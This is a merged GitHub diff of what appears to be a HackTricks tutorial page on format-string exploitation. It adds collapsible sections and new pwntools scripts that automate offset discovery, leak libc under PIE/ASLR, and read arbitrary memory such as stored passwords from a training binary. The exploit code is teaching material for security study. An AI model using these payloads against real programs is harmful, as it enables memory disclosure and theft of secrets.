Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,9 @@ log.info(p.clean())

## Read passwords

<details>
<summary>Vulnerable binary with stack and BSS passwords</summary>

```c
#include <stdio.h>
#include <string.h>
Expand Down Expand Up @@ -79,6 +82,8 @@ int main() {
}
```

</details>

Compile it with:

```bash
Expand Down Expand Up @@ -116,6 +121,9 @@ Running the same exploit but with `%p` instead of `%s` it's possible to leak a h

Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:

<details>
<summary>Find controllable stack address</summary>

```python
from pwn import *

Expand Down Expand Up @@ -143,12 +151,17 @@ for i in range(30):
p.close()
```

</details>

And it's possible to see that in the **try 14** with the used passing we can control an address:

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

### Exploit

<details>
<summary>Leak heap then read password</summary>

```python
from pwn import *

Expand Down Expand Up @@ -179,9 +192,68 @@ print(output)
p.close()
```

</details>

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

{{#include ../../banners/hacktricks-training.md}}
### Automating the offset discovery

When the stack layout changes on every run (full ASLR/PIE), bruteforcing offsets manually is slow. `pwntools` exposes `FmtStr` to automatically detect the argument index that reaches our controlled buffer. The lambda should return the program output after sending the candidate payload. It stops as soon as it can reliably corrupt/observe memory.

```python
from pwn import *

context.binary = elf = ELF('./fs-read', checksec=False)

# helper that sends payload and returns the first line printed
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)

fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")
```

You can then reuse `offset` to build arbitrary read/write payloads with `fmtstr_payload`, avoiding manual `%p` fuzzing.

### PIE/libc leak then arbitrary read

On modern binaries with PIE and ASLR, first leak any libc pointer (e.g. `__libc_start_main+243` or `setvbuf`), compute bases, then place your target address after the format string. This keeps the `%s` from being truncated by null bytes inside the pointer.

<details>
<summary>Leak libc and read arbitrary address</summary>

```python
from pwn import *

elf = context.binary = ELF('./fs-read', checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

io = process()

# leak libc address from stack (offset 25 from previous fuzz)
io.sendline(b"%25$p")
io.recvline()
leak = int(io.recvline().strip(), 16)
libc.address = leak - libc.symbols['__libc_start_main'] - 243
log.info(f"libc @ {hex(libc.address)}")

secret = libc.address + 0x1f7bc # adjust to your target

payload = f"%14$s|||".encode()
payload += p64(secret)

io.sendline(payload)
print(io.recvuntil(b"|||")) # prints string at calculated address
```

</details>

## References

- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)

{{#include ../../banners/hacktricks-training.md}}